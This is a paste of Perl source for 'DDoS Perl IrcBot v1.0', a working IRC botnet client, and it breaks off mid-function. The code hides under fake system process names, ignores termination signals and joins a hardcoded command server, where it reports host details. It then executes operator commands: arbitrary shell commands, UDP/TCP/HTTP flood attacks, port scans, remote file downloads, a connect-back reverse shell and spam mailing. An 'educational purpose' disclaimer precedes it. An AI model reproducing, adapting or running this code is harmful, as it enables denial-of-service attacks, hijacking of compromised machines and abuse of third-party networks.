Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2014
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.57 KB | None | 0 0
  1. ## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] ###########################################
  2. ## Stealth MultiFunctional IrcBot writen in Perl #######################################################
  3. ## Teste on every system with PERL instlled ## !u @system ##
  4. ## ## !u @version ##
  5. ## This is a free program used on your own risk. ## !u @channel ##
  6. ## Created for educational purpose only. ## !u @flood ##
  7. ## I'm not responsible for the illegal use of this program. ## !u @utils ##
  8. ######################################################################################################################
  9. ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
  10. ######################################################################################################################
  11. ## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ##
  12. ## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ##
  13. ## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ##
  14. ## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ##
  15. ## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ##
  16. ## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ##
  17. ## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ##
  18. ## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ##
  19. ## !u !msg <nick> ## !u @noticeflood <nick> ## ##
  20. ## !u !quit ## ## ##
  21. ## !u !uaw ## ## ##
  22. ## !u @die ## ## ##
  23. ## ## ## ##
  24. ######################################################################################################################
  25. ######################################################################################################################
  26.  
  27. #############################
  28. ##### [ Configuration ] #####
  29. #############################
  30.  
  31. my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  32. "/usr/sbin/httpd -k start -DSSL",
  33. "/usr/sbin/httpd",
  34. "/usr/sbin/sshd -i",
  35. "/usr/sbin/sshd",
  36. "/usr/sbin/sshd -D",
  37. "/usr/sbin/apache2 -k start",
  38. "/sbin/syslogd",
  39. "/sbin/klogd -c 1 -x -x",
  40. "/usr/sbin/acpid",
  41. "/usr/sbin/cron");
  42. my $process = $rps[rand scalar @rps];
  43.  
  44. my $vers = "\001VERSION - unknown command.\001";
  45. my $ircname = "shock";
  46. my $realname = `uname -vr`;
  47. my $nick = "perl";
  48.  
  49. $server = 'fflyy.su' unless $server;
  50. my $port = '8080';
  51.  
  52. my $linas_max='10';
  53. my $sleep='5';
  54.  
  55. my $homedir = "/tmp";
  56. my $version = 'DDoS Perl Bot v1.0';
  57.  
  58. my @admins = ("M","st0n3d","x00","Jorgee");
  59. my @hostauth = ("lolhome");
  60. my @channels = ("#mperl2");
  61. $unamea = `uname -a`;
  62. $uid = `id`;
  63.  
  64. my $pacotes = 1;
  65.  
  66. #################################################################
  67. ##### [ Stop Editing if you dont know what are you doing. ] #####
  68. #################################################################
  69.  
  70. $SIG{'INT'} = 'IGNORE';
  71. $SIG{'HUP'} = 'IGNORE';
  72. $SIG{'TERM'} = 'IGNORE';
  73. $SIG{'CHLD'} = 'IGNORE';
  74. $SIG{'PS'} = 'IGNORE';
  75.  
  76. use Socket;
  77. use IO::Socket;
  78. use IO::Socket::INET;
  79. use IO::Select;
  80.  
  81. chdir("$homedir");
  82.  
  83. $server="$ARGV[0]" if $ARGV[0];
  84. $0="$process"."\0"x16;;
  85. my $pid=fork;
  86. exit if $pid;
  87. die "Can't fork in background: $!" unless defined($pid);
  88.  
  89. our %irc_servers;
  90. our %DCC;
  91. my $dcc_sel = new IO::Select->new();
  92. $sel_cliente = IO::Select->new();
  93. sub sendraw {
  94. if ($#_ == '1') {
  95. my $socket = $_[0];
  96. print $socket "$_[1]\n";
  97. } else {
  98. print $IRC_cur_socket "$_[0]\n";
  99. }
  100. }
  101.  
  102. sub getstore ($$)
  103. {
  104. my $url = shift;
  105. my $file = shift;
  106. $http_stream_out = 1;
  107. open(GET_OUTFILE, "> $file");
  108. %http_loop_check = ();
  109. _get($url);
  110. close GET_OUTFILE;
  111. return $main::http_get_result;
  112. }
  113.  
  114. sub _get
  115. {
  116. my $url = shift;
  117. my $proxy = "";
  118. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  119. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  120. my $host = $1;
  121. my $port = $2 || 80;
  122. my $path = $3;
  123. $path = "/" unless defined($path);
  124. return _trivial_http_get($host, $port, $path);
  125. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  126. my $host = $1;
  127. my $port = $2;
  128. my $path = $url;
  129. return _trivial_http_get($host, $port, $path);
  130. } else {
  131. return undef;
  132. }
  133. }
  134.  
  135.  
  136. sub _trivial_http_get
  137. {
  138. my($host, $port, $path) = @_;
  139. my($AGENT, $VERSION, $p);
  140. $AGENT = "get-minimal";
  141. $VERSION = "20000118";
  142. $path =~ s/ /%20/g;
  143.  
  144. require IO::Socket;
  145. local($^W) = 0;
  146. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  147. PeerPort => $port,
  148. Proto => 'tcp',
  149. Timeout => 60) || return;
  150. $sock->autoflush;
  151. my $netloc = $host;
  152. $netloc .= ":$port" if $port != 80;
  153. my $request = "GET $path HTTP/1.0\015\012"
  154. . "Host: $netloc\015\012"
  155. . "User-Agent: $AGENT/$VERSION/u\015\012";
  156. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  157. $request .= "\015\012";
  158. print $sock $request;
  159.  
  160. my $buf = "";
  161. my $n;
  162. my $b1 = "";
  163. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  164. if ($b1 eq "") {
  165. $b1 = $buf;
  166. $buf =~ s/.+?\015?\012\015?\012//s;
  167. }
  168. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  169. }
  170. return undef unless defined($n);
  171. $main::http_get_result = 200;
  172. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  173. $main::http_get_result = $1;
  174. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  175. my $url = $1;
  176. return undef if $http_loop_check{$url}++;
  177. return _get($url);
  178. }
  179. return undef unless $main::http_get_result =~ /^2/;
  180. }
  181.  
  182. return $buf;
  183. }
  184.  
  185. sub conectar {
  186. my $meunick = $_[0];
  187. my $server_con = $_[1];
  188. my $port_con = $_[2];
  189. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  190. PeerPort=>$port_con) or return(1);
  191. if (defined($IRC_socket)) {
  192. $IRC_cur_socket = $IRC_socket;
  193. $IRC_socket->autoflush(1);
  194. $sel_cliente->add($IRC_socket);
  195. $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  196. $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  197. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  198. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  199. nick("$meunick");
  200. sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  201. sleep 1;
  202. }
  203. }
  204.  
  205. my $line_temp;
  206. while( 1 ) {
  207. while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  208. delete($irc_servers{''}) if (defined($irc_servers{''}));
  209. my @ready = $sel_cliente->can_read(0);
  210. next unless(@ready);
  211. foreach $fh (@ready) {
  212. $IRC_cur_socket = $fh;
  213. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  214. $nread = sysread($fh, $msg, 4096);
  215. if ($nread == 0) {
  216. $sel_cliente->remove($fh);
  217. $fh->close;
  218. delete($irc_servers{$fh});
  219. }
  220. @lines = split (/\n/, $msg);
  221. for(my $c=0; $c<= $#lines; $c++) {
  222. $line = $lines[$c];
  223. $line=$line_temp.$line if ($line_temp);
  224. $line_temp='';
  225. $line =~ s/\r$//;
  226. unless ($c == $#lines) {
  227. parse("$line");
  228. } else {
  229. if ($#lines == 0) {
  230. parse("$line");
  231. } elsif ($lines[$c] =~ /\r$/) {
  232. parse("$line");
  233. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  234. parse("$line");
  235. } else {
  236. $line_temp = $line;
  237. }
  238. }
  239. }
  240. }
  241. }
  242.  
  243. sub parse {
  244. my $servarg = shift;
  245. if ($servarg =~ /^PING \:(.*)/) {
  246. sendraw("PONG :$1");
  247. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  248. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  249. if ($args =~ /^\001VERSION\001$/) {
  250.  
  251. }
  252. if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  253. if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  254. if ($onde eq "$meunick"){
  255. shell("$pn", "$args");
  256. }
  257. if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
  258. my $natrix = $1;
  259. my $arg = $2;
  260. if ($arg =~ /^\!(.*)/) {
  261. ircase("$pn","$onde","$1");
  262. } elsif ($arg =~ /^\@(.*)/) {
  263. $ondep = $onde;
  264. $ondep = $pn if $onde eq $meunick;
  265. bfunc("$ondep","$1");
  266. } else {
  267. shell("$onde", "$arg");
  268. }
  269. }
  270. }
  271. }
  272. }
  273.  
  274. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  275. if (lc($1) eq lc($meunick)) {
  276. $meunick=$4;
  277. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  278. }
  279. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  280. nick("$meunick|".int rand((8999999999)+1000000000));
  281. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  282. $meunick = $2;
  283. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  284. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  285. foreach my $canal (@channels) {
  286. sendraw("MODE $nick +x");
  287. sendraw("JOIN $canal");
  288. sendraw("PRIVMSG $canal :$unamea");
  289. sendraw("PRIVMSG $canal :$uid");
  290. }
  291. }
  292. }
  293.  
  294. sub bfunc {
  295. my $printl = $_[0];
  296. my $funcarg = $_[1];
  297. if (my $pid = fork) {
  298. waitpid($pid, 0);
  299. } else {
  300. if (fork) {
  301. exit;
  302. } else {
  303. ###########################
  304. ##### [ Help Module ] #####
  305. ###########################
  306.  
  307. if ($funcarg =~ /^help/) {
  308. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  309. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help: ");
  310. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  311. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system ");
  312. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version ");
  313. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel ");
  314. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood ");
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils ");
  316. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  317. }
  318.  
  319. if ($funcarg =~ /^system/) {
  320. $uptime=`uptime`;
  321. $ownd=`pwd`;
  322. $id=`id`;
  323. $uname=`uname -srp`;
  324. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  325. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: ");
  326. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  327. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server ");
  328. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port ");
  329. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels ");
  330. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname ");
  331. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime ");
  332. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process ");
  333. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ ");
  334. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id ");
  335. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd ");
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  337. }
  338.  
  339. if ($funcarg =~ /^version/){
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: ");
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version ");
  344. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS ");
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 ");
  346. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  347. }
  348.  
  349. if ($funcarg =~ /^flood/) {
  350. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  351. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: ");
  352. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  353. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> ");
  354. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> ");
  355. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> ");
  356. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> ");
  357. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> ");
  358. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> ");
  359. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> ");
  360. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> ");
  361. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  362. }
  363.  
  364. if ($funcarg =~ /^channel/) {
  365. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  366. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help: ");
  367. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  368. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> ");
  369. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> ");
  370. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> ");
  371. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick> ");
  372. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> ");
  373. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> ");
  374. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> ");
  375. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> ");
  376. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> ");
  377. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit ");
  378. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die ");
  379. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  380. }
  381.  
  382. if ($funcarg =~ /^utils/) {
  383. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  384. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help: ");
  385. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  386. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port> ");
  387. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file> ");
  388. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message> ");
  389. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip> ");
  390. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port> ");
  391. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip> ");
  392. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example) ");
  393. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  394. }
  395.  
  396. #########################
  397. ##### [ Functions ] #####
  398. #########################
  399.  
  400. if ($funcarg =~ /^die/) {
  401. sendraw($IRC_cur_socket, "QUIT :");
  402. $killd = "kill -9 ".fork;
  403. system (`$killd`);
  404. }
  405. ###########
  406. if ($funcarg =~ /^join (.*)/) {
  407. sendraw($IRC_cur_socket, "JOIN ".$1);
  408. }
  409.  
  410. if ($funcarg =~ /^part (.*)/) {
  411. sendraw($IRC_cur_socket, "PART ".$1);
  412. }
  413. ###########
  414. if ($funcarg =~ /^portscan (.*)/) {
  415. my $hostip="$1";
  416. my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  417. my (@aberta, %porta_banner);
  418. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  419. foreach my $porta (@portas) {
  420. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  421. if ($scansock) {
  422. push (@aberta, $porta);
  423. $scansock->close;
  424. }
  425. }
  426. if (@aberta) {
  427. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
  428. } else {
  429. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
  430. }
  431. }
  432. ##############
  433. if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  434. getstore("$1", "$2");
  435. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
  436. }
  437. ##############
  438. if ($funcarg =~ /^dns\s+(.*)/){
  439. my $nsku = $1;
  440. $mydns = inet_ntoa(inet_aton($nsku));
  441. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
  442. }
  443. ##############
  444. if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
  445. my $hostip= "$1";
  446. my $portsc= "$2";
  447. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  448. if ($scansock) {
  449. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
  450. }
  451. else {
  452. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
  453. }
  454. }
  455. ##############
  456. if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  457. return unless $pacotes;
  458. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  459. my $alvo=inet_aton("$1");
  460. my $porta = "$2";
  461. my $dtime = "$3";
  462. my $pacote;
  463. my $pacotese;
  464. my $size = 0;
  465. my $fim = time + $dtime;
  466. my $pacota = 1;
  467. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  468. while (($pacota == "1") && ($pacotes == "1")) {
  469. $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  470. $pacote = $size ? $size : int(rand(1024-64)+64) ;
  471. $porta = int(rand 65000) +1 if ($porta == "0");
  472. #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  473. send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
  474. }
  475. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
  476. }
  477. ##############
  478. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  479. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
  480. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  481. $dtime = 1 if $dtime == 0;
  482. my %bytes;
  483. $bytes{igmp} = $2 * $pacotes{igmp};
  484. $bytes{icmp} = $2 * $pacotes{icmp};
  485. $bytes{o} = $2 * $pacotes{o};
  486. $bytes{udp} = $2 * $pacotes{udp};
  487. $bytes{tcp} = $2 * $pacotes{tcp};
  488. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  489. }
  490. ##############
  491. if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  492. return unless $pacotes;
  493. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  494. my $alvo=inet_aton("$1");
  495. my $porta = "$2";
  496. my $dtime = "$3";
  497. my $pacote;
  498. my $pacotese;
  499. my $fim = time + $dtime;
  500. my $pacota = 1;
  501. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  502. while (($pacota == "1") && ($pacotes == "1")) {
  503. $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  504. $pacote= $rand x $rand x $rand;
  505. $porta = int(rand 65000) +1 if ($porta == "0");
  506. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  507. }
  508. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  509. }
  510. ##############
  511.  
  512. ##############
  513. if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  514. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
  515. my $itime = time;
  516. my ($cur_time);
  517. $cur_time = time - $itime;
  518. while ($3>$cur_time){
  519. $cur_time = time - $itime;
  520. &tcpflooder("$1","$2","$3");
  521. }
  522. sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
  523. }
  524. ##############
  525. if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  526. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
  527. my $itime = time;
  528. my ($cur_time);
  529. $cur_time = time - $itime;
  530. while ($2>$cur_time){
  531. $cur_time = time - $itime;
  532. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  533. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  534. close($socket);
  535. }
  536. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
  537. }
  538. ##############
  539. if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
  540. my $host = "$1";
  541. my $port = "$2";
  542. my $proto = getprotobyname('tcp');
  543. my $iaddr = inet_aton($host);
  544. my $paddr = sockaddr_in($port, $iaddr);
  545. my $shell = "/bin/sh -i";
  546. if ($^O eq "MSWin32") {
  547. $shell = "cmd.exe";
  548. }
  549. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
  550. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  551. connect(SOCKET, $paddr) or die "connect: $!";
  552. open(STDIN, ">&SOCKET");
  553. open(STDOUT, ">&SOCKET");
  554. open(STDERR, ">&SOCKET");
  555. system("$shell");
  556. close(STDIN);
  557. close(STDOUT);
  558. close(STDERR);
  559. }
  560. ##############
  561. if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  562. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
  563. $subject = $1;
  564. $sender = $2;
  565. $recipient = $3;
  566. @corpo = $4;
  567. $mailtype = "content-type: text/html";
  568. $sendmail = '/usr/sbin/sendmail';
  569. open (SENDMAIL, "| $sendmail -t");
  570. print SENDMAIL "$mailtype\n";
  571. print SENDMAIL "Subject: $subject\n";
  572. print SENDMAIL "From: $sender\n";
  573. print SENDMAIL "To: $recipient\n\n";
  574. print SENDMAIL "@corpo\n\n";
  575. close (SENDMAIL);
  576. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
  577. }
  578. exit;
  579. }
  580. }
  581. ##############
  582. if ($funcarg =~ /^ctcpflood (.*)/) {
  583. my $target = "$1";
  584. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
  585. for (1..10) {
  586. sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  587. sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  588. }
  589. }
  590. ##############
  591. if ($funcarg =~ /^msgflood (.*)/) {
  592. my $target = "$1";
  593. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
  594. sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  595. }
  596. ##############
  597. if ($funcarg =~ /^noticeflood (.*)/) {
  598. my $target = "$1";
  599. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
  600. for (1..2){
